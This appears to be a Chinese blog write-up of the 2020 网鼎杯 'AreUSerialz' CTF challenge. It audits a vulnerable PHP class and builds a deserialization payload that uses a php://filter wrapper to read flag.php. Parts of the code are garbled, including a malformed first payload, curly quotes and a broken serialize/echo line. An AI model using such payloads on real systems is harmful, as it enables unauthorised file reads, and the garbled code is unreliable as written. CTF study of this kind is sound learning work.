[网鼎杯 2020 青龙组]AreUSerialz

这里直接就是打开了哪里的代码进行审计,就不做什么别的解释了,有很多是没有用的但是确实是我一点点审计过去的

<?phpinclude("flag.php");
highlight_file(__FILE__);
class FileHandler {  
    protected $op; //序列化后protected类型的属性存在不可打印字符,所以我们一般会直接转换成public来,这样就不会有不可打印的字符了
    protected $filename;
    protected $content;
    function __construct() { 
        $op = "1";  
        $filename = "/tmp/tmpfile"; 
        $content = "Hello World!"; 
        $this->process(); 
    }  //构造方法,注意这里的filename,覆盖变量成为flag.php
    public function process() {  
        if($this->op == "1") {   
            $this->write(); 
        } else if($this->op == "2") { 
            $res = $this->read();   
            $this->output($res);   
        } else {     
            $this->output("Bad Hacker!"); 
        } 
    }  //如果这个op是2的话在读取文件之后紧接着输出数组res后面这个就会直接flag.php给name
    private function write() { 
        if(isset($this->filename) && isset($this->content)) {     							 if(strlen((string)$this->content) > 100) {  
            		$this->output("Too long!");    
           			 die();   
        }  //如果文件名和content(应该是文件或目录)存在的话,检测那个content的长度让他不会长于100
        $res = file_put_contents($this->filename, $this->content); 
        if($res) $this->output("Successful!");   //这里好像是要反序列化了,这个是w,所以应该是不能进到这里,op要覆盖变量成为2
        else $this->output("Failed!");  
       } else {   
            $this->output("Failed!");  
        } 
    } 
    private function read() {  
        $res = "";//这里直接给这个res给了空值,我们应该建立new read,这里面直接是flag.php
        if(isset($this->filename)) { 
            $res = file_get_contents($this->filename);  
        }  
        return $res; 
    } 
    private function output($s) { 
        echo "[Result]: <br>";  
        echo $s;  
    }  function __destruct() {  
        if($this->op === "2")    //这里是强类型比较,所以一般的op=2是可以直接绕过的
            $this->op = "1";   
        $this->content = ""; //这里直接给op成为1了,按照我觉得的就应该直接丫的覆盖过去 
        $this->process();  
    }
}
function is_valid($s) { 
    for($i = 0; $i < strlen($s); $i++)   
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))   
            return false;
    return true;//is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {  
        $obj = unserialize($str);  
    }//反序列化这个str,也就是说我们要不就是直接构造那个啥是反序列化的,而且这个里面必须要有的一个数值就是filename这个数组值要是flag.php
}


O:11:"FileHandler":3{S:2:"op":i:2;S:8:"filename":S:8:"flag.php";S:7:"content":S:7:"oavinci"}
这里重点其实就是我们一个强类型的比较可以直接=2

所以我们建立新的类

<?php

class FileHandler{

​ public $op=2;

​ public $filename=“flag.php”;

​ public $content=“oavinci”;

}

$a=new FileHandler();

b = s e r i a l i z e ( b=serialize( b=serialize(a)

each $b;

?>

?str=O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:57:“php://filter/read=convert.base64-encode/resource=flag.php”;s:7:“content”;N;}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值